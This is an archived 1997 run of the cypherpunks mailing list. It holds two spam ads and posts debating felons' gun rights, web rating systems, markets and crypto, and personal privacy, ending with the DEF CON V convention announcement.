Now IS THE TIME for you to "Minimize The Risk" of crime affecting 
YOU or a LOVED ONE!

Money Back Guarantee: If unsatisfied for any reason,  you get your
money back, period!  

Upon receiving your order, the Anti-Crime reports will promptly be
emailed to you.

TO ORDER:  Follow the instructions below:

You may pay by Check, Money Order, Cash, Visa or Mastercard.

FAX the form below to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

 - - - - - - - - - - - - - - - - - - -  O R D E R  F O R M  --  - - - - - - - - - - - - - - - - - - - - 

PLEASE PRINT ALL INFORMATION LEGIBLY TO SPEED UP YOUR ORDER

(1.)  [  ] Visa   [  ] Mastercard   [  ] Check   [  ] Money Order   [  ] Cash
(2.)  Credit Card Number:  (put one number on each line)

CC# __  __  __  __ - __  __  __  __ - __  __  __  __ - __  __  __  __
 
(3.)  Expiration Date:  [ __  __  /  __  __ ]  Month/Year      (anti-crime)

Email Address:__________________   Name:_____________________________

Address:_____________________________ City__________ ST_____  Zip_______

Ph.# w/ areacode:__________________ Signature (Required)_____________

***  You may purchase ALL 15 REPORTS with unlimited reproduction rights 
      for a total cost of only $12.00.
***  You may purchase reports individually for $4.00 each.

[   ]  Check here if ordering ALL 15 reports for the $12.00 Special.
 
[   ]  Check here if ordering reports individually and list by # below.

#__________  #__________  #_________  #_________  #_________


FAX the above form to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

*** Pay all orders in U.S. FUNDS or outside the U.S. send the currency equivalent. 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Be sure to INCLUDE YOUR EMAIL ADDRESS so we may fill your order A.S.A.P. !!! 

Best of Luck... we'll visit again. 

Kindest Personal  Regards, 

Douglas C. Parcells
Report Fulfillment Coordinator 

P.S.  Now IS THE TIME for you to "Minimize The Risk" of crime
affecting YOU or a LOVED ONE!  The best way to minimize the risk
of crime affecting you is by taking sensible precautions

c2




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ballman@t-1net.com
Date: Mon, 16 Jun 1997 23:03:30 -0700 (PDT)
To: buy.balls@lower.prices
Subject: About Golf Balls
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





=====> WE WANT YOU TO KNOW MORE ABOUT GOLF BALLS <=======

Lets Take Air For Example....

All of us know how tough it is to hit a good shot in windy conditions.
We assume therefore that air is just another natural element we must
out wit in order to score well.  In reality, AIR is what makes it
possible for us the hit the ball as far as we do.  The SPIN we impart
on a ball actually gives the ball lift, much like the wing on an
aircraft imparts lift.  This lift makes it possible for the ball to
stay airborne longer, enabling it to travel further.

In a vacuum, the average 250 yard drive would only travel about 180
yards.  A winged aircraft would not fly.

Air is your Friend....::))

Now here's one for you......Does a ball fly farther on a hot dry day
or cold wet day??....How about a hot humid day or a cold dry day ?

Let me know what you think.

Golfballs Unlimited USA reclaims balls from over 130 courses in 13 
states.  We stock over 50 varieties of balls.  If you're an average
player, by the time you have played 3 holes with a new ball, you are 
playing with a ball that's in much worse condition than our premium balls.

We offer the highest possible quality recycled balls available...at
direct pricing....HUGE SAVINGS over new balls.  Yes we have BALATAS.

Customer Satisfaction Is Absolutely Guaranteed.

If you would like a free catalog, just send me an email.

Click Here For Free Catalog

Regards,

Dana Jones
The Ballman

ps..I have worked carefully to see that this educational information goes only to
those who may have an interest. If you do not, please send me back message
with remove as the subject.  I will not mail you again.

Our Mission:  To Be The Best (As Determined By Our Customers)
Suppliers of Quality Recycled Golf Balls

BUY SELL TRADE






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 1 Jul 1997 19:58:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.BSF.3.91.970630165630.24139F-100000@mcfeely.bsfs.org>
Message-ID: <19970701044410.04530@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 30, 1997 at 06:37:56PM -0700, Lucky Green wrote:
> The idea is that the criminal has received their punishment once released 
> from prison. 

OTOH, there is no necessity at all to think of it that way.  
Prison isn't the only punishment -- there is nothing in the 
Constitution or anywhere else that says that.  (Certainly, not being 
able to own a gun is in no meaningful sense a "cruel or unusual" 
punishment.)  A court that can impose a life sentence can impose a 
lifetime ban on certain activities -- there is nothing at all 
inconsistent here.

Another fallacy is to think that prison is a temporary phenomenon. 
"Been to prison" is a permanent state -- it marks you for life. 
"Convicted Felon" is a permanent legal condition, a title with
permanent social effects.  

You are probaboy thinking that after a person has "paid their debt to
society" things are just like they were before.  It's a nice theory,
but it's false.  It's not like money.  Your "debt to society" is not
paid off by a prison term.

> Any further infringements on the person's rights are 
> unacceptable. That includes the person's Natural Right to acquire 
> fully-automaticweapons, should he so desire.  [BTW, the nature of the crime 
> committed is irrelevant]. 

"Let the punishment fit the crime".  The crime is *always* relevant to
the punishment, the punishment is *always* a function of the crime.  It
is incoherent and unjust to think otherwise.  

A punishment can certainly infringe your "Natural Rights" -- you can
be executed, after all. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 1 Jul 1997 22:41:42 +0800
To: cypherpunks@toad.com
Subject: Novell's Eric Schmidt on rating systems
Message-ID: <Pine.GSO.3.95.970701072727.2857G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 1 Jul 1997 07:27:11 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Novell's Eric Schmidt on rating systems

So I'm logged in from the library of the National Press Club (my
membership dues are finally going for something useful), where I just came
from a breakfast meeting with Eric Schmidt, the CEO of Novell. 

We talked Net-politics, from copyright to crypto to Net-taxes. But I also
pressed him on the problems of PICS-based rating systems like RSACi,
noting that other governments have started to make them mandatory -- in a
voluntary sort of way. 

"In the U.S., we're going to have all sorts of folks saying we need to
have a mandatory rating system for web content.. The industry has pushed
very hard for individuals to control things, not governments," he said. 

What about PICS making it easier for other governments to censor the Net? 
"We are not the other government's keeper... The beauty of the PICS stuff
is that it's a framework for having the debate," he said.

Next stop: the White House, where I expect this will come up again this
afternon...

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 1 Jul 1997 20:48:50 +0800
To: cypherpunks@toad.com
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <19970701044410.04530@bywater.songbird.com>
Message-ID: <w7w69D15w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
> "Convicted Felon" is a permanent legal condition, a title with
> permanent social effects.

Weren't all felonies capital crimes initially?

A hungry little boy convicted of stealing a loaf of bread would hang.

Some time later the felons were given a choice of going to the gallows
or to Australia.

A convicted felon freed after a jail sentence is a fairly recent invention.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 1 Jul 1997 23:35:49 +0800
To: cypherpunks@Algebra.COM
Subject: Free markets and crypto
In-Reply-To: <3.0.32.19691231160000.006d0374@best.com>
Message-ID: <v03102800afded16f21ee@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:58 PM -0700 6/30/97, Declan McCullagh wrote:
>Ah, but what is a market except voluntary transactions between people?
>What is good for the market is good for the people.
>

I certainly agree with this, if the proper interpretations of terms are made.

Unfortunately, there is a growing distinction being made between "voluntary
transactions" of _people_ and of _corporations_.

(The most stunning example of this, as Declan of course knows, being the
"Title 7" stuff in the Civil Rights Act, which takes away a person's right
to associtate with persons with whom he wishes to associate--he can't
choose to hire only Chinese, or no cripples, or only Mormons, and so on.)

And in the crypto debate, the term "market" has mostly been interpreted by
people to mean: Netscape, Microsoft, PGP, RSADSI, C2net, Verisign, etc.

I don't believe corporations have any more rights--or any more
restrictions--than individuals do. So in this sense I agree with Declan's
point. But my view is in a minority.

Thus, care is warranted when discussing "market solutions."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Wed, 2 Jul 1997 00:14:28 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Marc Andreessen on encryption and CDA
Message-ID: <3.0.32.19970701084404.006d101c@best.com>
MIME-Version: 1.0
Content-Type: text/plain



I suppose that's why US displays the greatest income disparity between rich
and poor of
any of the industrialized nations?   Why some 10 or 20 billionaires
collectively own more
wealth than some 20% of the world's population? Or were you being sarcastic?

At 07:58 PM 6/30/97 -0700, Declan McCullagh wrote:
>Ah, but what is a market except voluntary transactions between people?
>What is good for the market is good for the people.
>
>-Declan
>
>On Mon, 30 Jun 1997 geeman@best.com wrote:
>
>> My biggest problem is when the pundits (and by extension, those that punt
>> to them)
>> frame this entire debate in terms of the Market.  To do so is to argue that
>> only solutions
>> that are good for The Market are good solutions; that when a particular
>> policy is market-agnostic
>> or market-negative, even though it may be good policy for People (yes,
>> remember them ???) it is irrelevant or
>> bad.  This debate is NOT about the Worldwide Encryption Market!
>> 
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 1 Jul 1997 11:53:49 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: mailing list
In-Reply-To: <199706282214.PAA09700@fat.doobie.com>
Message-ID: <Pine.LNX.3.93.970701092907.241J-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 28 Jun 1997, Huge Cajones Remailer wrote:

[...]

> Why the fuck are there so many requests from aol ?
> thats eerie if you ask me.

There are two possable resons,

a) A deliberate campain to undermine this list.

b) Someone in one of the Aol chat rooms told everyone how <deep sarcusum>
k00l </deep sarcusum> this mailing list is.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Wed, 2 Jul 1997 00:56:13 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Has your privacy been invaded? Protected? Both?
Message-ID: <3.0.32.19691231160000.006ac2d4@best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:46 PM 6/30/97 -0400, you wrote:
>
>We hear a lot of steamy rhetoric about privacy and the information age, but
>few real-world examples. I'm working on a story now for Time about just
>this: what's happening to individual privacy today.

I assmue you will protect the anonymity of any contributors even while
sharing your generous payment with them!  ;)

>
>Does the Net make us more exposed -- DejaNews and 411-type databases -- or
>does it provide us with more privacy through tools like anonymous remailers
>and pseudonymous identities? 

As a reader of cpunks the following should be obvious: the access to
information from 411-etc. is simple and accessible to anyone who can type in
a browser!  On the other hand, remailers and nym servers are still solely the
purview of propeller-heads.  The remailer pages I have seen and tried to use
are unreliable - and to use PGP remailers requires a level of PGP-ability
that the average Joe won't invest in.  

Most people have Work to do, and cannot invest in the time to figure out how
to use software.  If we want to see pervasive use of privacy-preserving
technologies then developers must realize this and develop for the Mass
Market.  PGP 5, PGPMail are certainly helpful and not enough.  What I am
concerned about is that in the absence of easy-to-use (that means
no-effort-to-use) privacy software, the average Joe will rely on whatever is
there for him: and in the limit this will mean whatever infrastructure the
Powers-that-be want put in place for him, and not one that preserves his
rights. (Forgive the gender bias: I'll switch now)

There is no level of privacy afforded the average 'user' as simple to use as
the intrusve technologies that are available to the snoop.

>Can we trust the government to protect our
>privacy when it works tirelessly to invade it?
>
Sometimes it is better to trust Government than it is to trust Big Business,
although too often they converge onto identical tracks becuase of the
ownership of Gov't *by* Big Business. I see two equally onerous invasions:
One is the insistence of Government that the benefit of crypto to the Four
Horsewomen of the Infocalypse (Porn, Drug Dealing, Money Laundering, and
Terrorism), and the corresponding threat to society, is so large as to
warrant  registering everyone's secret-telling capability. The other is the
intrusion by Business and Employers into the habits of consumers and workers.
 From click-tracking on the Web to the recently reported monitoring of every
7-11 manager's move at the POS terminal, Business is no friend of the People.
 That this is perhaps the more insidious threat is manifest by your not even
mentioning it or including it in the question set.  I fear Businesses who say
"Government leave us alone because the Free Market knows what's best" and
then proceed to invade and intrude in ways that are equally damaging to the
privacy of the individual.  The philosophy that if Business invades privacy
it's OK, and if Government does so it's bad, is to say that 2+2=5.


>Much has been written about this. What I'm looking for now are examples.
>Have you used an anonymous remailer to cloak your identity, or been flamed
>through one? Have you been denied a transaction at a store because you
>refused to identify yourself? Have you hunted through databases to find
>someone important? Has sensitive information about you turned up in one?
>
I have been fairly careful and very jealous of my privacy; and then my name
and home address showed up on one of the name-search pages.  I don't know if
it's still there, and I don't remember the link.  But then the Similac
marketing Geniuses sent me something in the mail that even included the due
date of my expected child!  I consider that sensitive as hell, and it didn't
occur via the Web.  The problem is across the board.

I use anonymizing tools when I need to, to protect what I consider "things"
that are too sensitive for the Web.  I have looked up past friends on the
Web, and then not called because I felt it would be an intrusion into their
life.  I have found the ability to search for information on PUBLIC figures
important and useful, looking for items related to their professional
activities, and I think this is an important capability.  The opportunity for
People to make sure that the elected officials they elect and pay for, and
the businesses that pave their towns and dump toxics into their yards, are
behaving responsibly, is one of the few remaining possibilities for positive
change.  

In the meantime, I'm wondering, as I wander off to renew my driver's license,
why they want my social security number.  
And I still don't know how Similac figured out when my wife and I had sex.

(C) Copyright 1997 by ..... oops! I don't want to include my name.



>I'd appreciate hearing some stories...
>
>Thanks all,
>
>Declan
>
>
>-------------------------
>Declan McCullagh
>Time Inc.
>The Netly News Network
>Washington Correspondent
>http://netlynews.com/
>
>
>
>
-----BEGIN PGP SIGNED MESSAGE-----

At 08:46 PM 6/30/97 -0400, you wrote:
>
>We hear a lot of steamy rhetoric about privacy and the information age, but
>few real-world examples. I'm working on a story now for Time about just
>this: what's happening to individual privacy today.

I assmue you will protect the anonymity of any contributors even while
sharing your generous payment with them!  ;)

>
>Does the Net make us more exposed -- DejaNews and 411-type databases -- or
>does it provide us with more privacy through tools like anonymous remailers
>and pseudonymous identities? 

As a reader of cpunks the following should be obvious: the access to
information from 411-etc. is simple and accessible to anyone who can type in
a browser!  On the other hand, remailers and nym servers are still solely the
purview of propeller-heads.  The remailer pages I have seen and tried to use
are unreliable - and to use PGP remailers requires a level of PGP-ability
that the average Joe won't invest in.  

Most people have Work to do, and cannot invest in the time to figure out how
to use software.  If we want to see pervasive use of privacy-preserving
technologies then developers must realize this and develop for the Mass
Market.  PGP 5, PGPMail are certainly helpful and not enough.  What I am
concerned about is that in the absence of easy-to-use (that means
no-effort-to-use) privacy software, the average Joe will rely on whatever is
there for him: and in the limit this will mean whatever infrastructure the
Powers-that-be want put in place for him, and not one that preserves his
rights. (Forgive the gender bias: I'll switch now)

There is no level of privacy afforded the average 'user' as simple to use as
the intrusve technologies that are available to the snoop.

>Can we trust the government to protect our
>privacy when it works tirelessly to invade it?
>
Sometimes it is better to trust Government than it is to trust Big Business,
although too often they converge onto identical tracks becuase of the
ownership of Gov't *by* Big Business. I see two equally onerous invasions:
One is the insistence of Government that the benefit of crypto to the Four
Horsewomen of the Infocalypse (Porn, Drug Dealing, Money Laundering, and
Terrorism), and the corresponding threat to society, is so large as to
warrant  registering everyone's secret-telling capability. The other is the
intrusion by Business and Employers into the habits of consumers and workers.
 From click-tracking on the Web to the recently reported monitoring of every
7-11 manager's move at the POS terminal, Business is no friend of the People.
 That this is perhaps the more insidious threat is manifest by your not even
mentioning it or including it in the question set.  I fear Businesses who say
"Government leave us alone because the Free Market knows what's best" and
then proceed to invade and intrude in ways that are equally damaging to the
privacy of the individual.  The philosophy that if Business invades privacy
it's OK, and if Government does so it's bad, is to say that 2+2=5.


>Much has been written about this. What I'm looking for now are examples.
>Have you used an anonymous remailer to cloak your identity, or been flamed
>through one? Have you been denied a transaction at a store because you
>refused to identify yourself? Have you hunted through databases to find
>someone important? Has sensitive information about you turned up in one?
>
I have been fairly careful and very jealous of my privacy; and then my name
and home address showed up on one of the name-search pages.  I don't know if
it's still there, and I don't remember the link.  But then the Similac
marketing Geniuses sent me something in the mail that even included the due
date of my expected child!  I consider that sensitive as hell, and it didn't
occur via the Web.  The problem is across the board.

I use anonymizing tools when I need to, to protect what I consider "things"
that are too sensitive for the Web.  I have looked up past friends on the
Web, and then not called because I felt it would be an intrusion into their
life.  I have found the ability to search for information on PUBLIC figures
important and useful, looking for items related to their professional
activities, and I think this is an important capability.  The opportunity for
People to make sure that the elected officials they elect and pay for, and
the businesses that pave their towns and dump toxics into their yards, are
behaving responsibly, is one of the few remaining possibilities for positive
change.  

In the meantime, I'm wondering, as I wander off to renew my driver's license,
why they want my social security number.  
And I still don't know how Similac figured out when my wife and I had sex.

(C) Copyright 1997 by ..... oops! I don't want to include my name.



>I'd appreciate hearing some stories...
>
>Thanks all,
>
>Declan
>
>
>-------------------------
>Declan McCullagh
>Time Inc.
>The Netly News Network
>Washington Correspondent
>http://netlynews.com/
>
>
>
>
-----BEGIN PGP SIGNATURE-----
Version: 4.5

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iycsGU3sdFw7xbzjCHHYUPwz51S6ger7c4YzNtlMVRKL4j0IiSLbWQ977Udp0vCj
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wl7jTcU3HGvZH6ccgAfl8UtUxsyBTXL4S90dc0EsVE8XJBirTSNkUQ==
=QJUu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 2 Jul 1997 00:56:51 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.3.89.9706301850.A28965-0100000@netcom2>
Message-ID: <v03102805afdee15fe080@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:46 AM -0700 7/1/97, Paul Bradley wrote:
...
>Not so, I believe Kent pointed out the US statute that describes
>unreasonable punishment as being "cruel and unusual", banning ownership
>of firearms as part of the punishment for a violent crime seems perfectly
>reasonable to me, but foo on that anyway: punishment should fit the
>crime, if you commit murder or rape or any one of a number of such
>serious crimes I see no reason why you shouldn`t be punished cruelly.

The apparent meaning of "cruel and unusual" had to do with things like
torture, death by starvation, death by immersion in hot oil, and other such
things which some regimes had practiced. The "design goal" of all U.S.
capital punishment methods is generally "quick and painless."

- Hanging--very quick and very painless (the neck is snapped, and
consciousness vanishes)

- Firing squad--no further explanation needed (assuming multiple rounds hit
the target)

- Electrocution--originally designed to render subject unconscious almost
immediately. Whether it does this merits discussion, but the original
intent was surely for a "scientific" fast death (just as the guillotine was
similarly designed)

- Gas chamber--cyanide produces rapid unconsciousness

- Lethal injection--the "new" scientific method. Obviously painless.


>I can see the point of view which accepts serving of sentence as being
>the end of punishment, and I do not accept a ban on firearms as being
>implicit in the commision of a felony, but if a court explicitly states
>that part of the punishment should be a X year or lifetime ban I can
>accept that.

Does this mean that you would "accept" a wording which took away a released
convict's ability to speak freely, or to practice the religion of his
choice?

("Upon completion of your 6-month sentence for public blasphemy, you must
renounce Baalism and accept the religion so ordered by the court.")

Why is this any different from taking away Second Amendment rights?

There is sometimes a loophole for taking away some particular right, or
interfering with it in a special way, a la the language of "compelling
needs." This is how the courts look at the putative conflict of rights, as
in things like "the state has a compelling need to protect minors from
these materials." Then there's the related language of "overbroad."

But how does a lifetime, blanket ban on possession of firearms--i.e., a
complete denial of Second Amendment rights--for any of tens of thousands of
claimed "felonies" fit with this "compelling need" model? What's the
compelling need for the state to deny Second Amendment rights for life to
someone convicted of fraud or money laundering?

The compelling need appears to be related to the general trend of disarming
as many of the marks as possible, as soon as possible.

(I understand, Paul, that you are not a U.S. citizen, but this is the
framework for the current discussion.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 2 Jul 1997 02:52:00 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.3.89.9706301850.A28965-0100000@netcom2>
Message-ID: <19970701113321.12042@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jul 01, 1997 at 09:47:45AM -0700, Tim May wrote:
> At 7:46 AM -0700 7/1/97, Paul Bradley wrote:
[...]
> 
> >I can see the point of view which accepts serving of sentence as being
> >the end of punishment, and I do not accept a ban on firearms as being
> >implicit in the commision of a felony, but if a court explicitly states
> >that part of the punishment should be a X year or lifetime ban I can
> >accept that.
> 
> Does this mean that you would "accept" a wording which took away a released
> convict's ability to speak freely, or to practice the religion of his
> choice?
>
> ("Upon completion of your 6-month sentence for public blasphemy, you must
> renounce Baalism and accept the religion so ordered by the court.")
> 
> Why is this any different from taking away Second Amendment rights?

At one level, it is not.  Punishment intrinsically involves
restriction on rights.  Your right to free speech *is* restricted
while you are in jail.  Your right to practice your religion can be
infringed -- you may not be able to have a prayer blanket, for
example.  When you are convicted of a felony you step into a different
category as far as protection of rights are concerned.

On another level, they are *different* rights.  So, in practice, the 
rights to free speech and free religion are given greater weight.

> There is sometimes a loophole for taking away some particular right, or
> interfering with it in a special way, a la the language of "compelling
> needs." This is how the courts look at the putative conflict of rights, as
> in things like "the state has a compelling need to protect minors from
> these materials." Then there's the related language of "overbroad."
> 
> But how does a lifetime, blanket ban on possession of firearms--i.e., a
> complete denial of Second Amendment rights--for any of tens of thousands of
> claimed "felonies" fit with this "compelling need" model? What's the
> compelling need for the state to deny Second Amendment rights for life to
> someone convicted of fraud or money laundering?

It's really more of an issue of practice, rather than principle.  
There is no disputing that once you are caught up in the criminal 
justice system your rights are constrained.  The constitution 
guarantees the accused certain rights, to be sure, and the convicted 
rather less.  But it is clear that the blanket provisions of the Bill 
of Rights simply don't apply to criminals.

However, the issue is very complex.  "The system" has a number of
discretionary points -- variable sentencing regiems, time off for good
behaviour, probation, parole -- all involve different levels of
constraints on rights, all constitutional. 

In principle, once you accept that the state has the mandate to 
punish criminals, you accept that criminals lose rights.  Period.

As an anarchist you may say that the state has no such mandate.  But 
then you have the messy problem of what to do with common criminals, 
and you end up with a state that you refuse to call a state.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Wed, 2 Jul 1997 02:47:44 +0800
To: tcmay@got.net
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <v03102805afdee15fe080@[207.167.93.63]>
Message-ID: <199707011833.LAA16159@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:

[lots 'o stuff]

> But how does a lifetime, blanket ban on possession of firearms--i.e., a
> complete denial of Second Amendment rights--for any of tens of thousands of
> claimed "felonies" fit with this "compelling need" model? What's the
> compelling need for the state to deny Second Amendment rights for life to
> someone convicted of fraud or money laundering?
> 
> The compelling need appears to be related to the general trend of disarming
> as many of the marks as possible, as soon as possible.

Close. 
The complling need is for politicians to appear to be 'tough on crime'.
Being 'tough on crime' gets you reelected.  Being 'soft on crime'
means you lose and have to find a real job.

Taking away the rights of convicted criminals who have served their
sentences makes you look tough on crime to the sheeple.  The convicts
and wimpy human-rights organizations like the ACLU might complain, but
fuck 'em, they're liberals or criminals who get whatever we decide that
they deserve.  Hell, if it'll get people to vote for you,  throw 'em
in a mental hospital after they've served their terms, or publish 
their names so citizens can drive them out of town.

It has little to do with disarming the population and lots to do with
the climate of fear that politicans and the media have whipped up.

With the downfall of communisim and the end of the cold war,
the DOJ/FBI/NSA/prison system has become the new Military Industrial
Complex.  Need money to get elected?  Vote for new prisons and
the powerful Prison Guards lobby will help you out.  Need a new
pork-barrel project to help out your friends back in the district?
Vote for federal dollars for more cops.

Need to sell papers or TV ads?  Tell people how bad crime is, everyone's
afraid of the criminals they see on 'Cops'.  More fear.  More cops.
More jails.  We're marching towards the police state one jack-boot
at a time.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 2 Jul 1997 00:55:08 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Free markets and crypto
In-Reply-To: <Pine.GSO.3.95.970630195816.4992H-100000@well.com>
Message-ID: <v03007804afdee11ed5eb@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



I of course agree with Tim. Corporations are merely voluntary collections
of individuals.

As for civil rights laws: in my dark moments, I want to add a button to my
web page: "Only click here if you are (or are not) Irish." Or "No African
Americans allowed." Or "Nobody over 60 years old permitted." I wonder,
would I be in violation of Title 7?

-Declan


At 08:29 -0700 7/1/97, Tim May wrote:
>Unfortunately, there is a growing distinction being made between "voluntary
>transactions" of _people_ and of _corporations_.
>
>(The most stunning example of this, as Declan of course knows, being the
>"Title 7" stuff in the Civil Rights Act, which takes away a person's right
>to associtate with persons with whom he wishes to associate--he can't
>choose to hire only Chinese, or no cripples, or only Mormons, and so on.)
>
>And in the crypto debate, the term "market" has mostly been interpreted by
>people to mean: Netscape, Microsoft, PGP, RSADSI, C2net, Verisign, etc.
>
>I don't believe corporations have any more rights--or any more
>restrictions--than individuals do. So in this sense I agree with Declan's
>point. But my view is in a minority.
>
>Thus, care is warranted when discussing "market solutions."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 2 Jul 1997 01:33:42 +0800
To: cypherpunks@toad.com
Subject: DEF CON V Convention Announcement #1.19 (06.30.97)
Message-ID: <v03007805afdee8c7a2e4@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



[I'm planning to show up Friday morning. Anyone else going? --Declan]

*******

 READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB

             DEF CON V Convention Announcement #1.19 (06.30.97)
          July 11-13th @ the Aladdin Hotel and Casino in Las Vegas

     XXXXXXXXXXXXXXXXXXXXXXXX XX      DEF CON V Convention Announcement
     XXXXXXXxxxxXXXXXXXXXXXXXXX XX    DEF CON V Convention Announcement
     XXXXXXxxxxxxXXXXXX  X    X       DEF CON V Convention Announcement
     XXXXXxxxxxxxxXXXXXXX  X          DEF CON V Convention Announcement
     XXXXxxxxxxxxxxXXXX XXXXXXXXX     DEF CON V Convention Announcement
     XXXxxxxxxxxxxxxXXXXXXXXXX X      DEF CON V Convention Announcement
     XXxxxxxxxxxxxxxxXXXXXX  XX  X    DEF CON V Convention Announcement
     XXXxxxxxxxxxxxxXXXXXXXX          DEF CON V Convention Announcement
     XXXXxxxxxxxxxxXXXXXXXX X XX      DEF CON V Convention Announcement
     XXXXXxxxxxxxxXXXXXXXXXX  XX X    DEF CON V Convention Announcement
     XXXXXXxxxxxxXXXXXXXXX X          DEF CON V Convention Announcement
     XXXXXXXxxxxXXXXXXXXXXXXXXX       DEF CON V Convention Announcement
     XXXXXXXXXXXXXXXXXXXXXXXXXXXX X   DEF CON V Convention Announcement

 READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB

                     The only convention with free beer!

 IN SHORT:--------------------------------------------------------------------

         WHAT: Speakers and partying in Vegas for all hackers
         WHEN: July 11th - 13th
         WHERE: Las Vegas, Nevada @ the Aladdin Hotel and Casino
         COSTS: $30 in advance, $40 at the door
         MORE INFO: http://www.defcon.org or email info@defcon.org

 IN LONG:---------------------------------------------------------------------

 It's time to brave Las Vegas again for DEF CON!  This is an initial
 announcement and invitation to DEF CON V, a convention for the "underground"
 elements of the computer culture.  We try to target the (Fill in your
 favorite word here): Hackers, Phreaks, Hammies, Virii Coders, Programmers,
 Crackers, Cyberpunk Wannabees, Civil Liberties Groups, CypherPunks,
 Futurists, Artists, Criminally Insane, Hearing Impaired.  It seems that
 books about the culture are becoming more popular, so of course reporters
 are also welcome.  You won't be hurt.  I promise.  Just bring cash for
 drinks.

 So you heard about DEF CON IV, and want to hit part V?  You heard about the
 parties, the info discussed, the bizarre atmosphere of Las Vegas and want to
 check it out in person?  You want to do weird shit _away_ from the hotel
 where you can't get me in trouble?  You have intimate knowledge of the SWIFT
 network, and want to transfer millions of dollars to the Def Con account?
 Then you're just the person to attend!

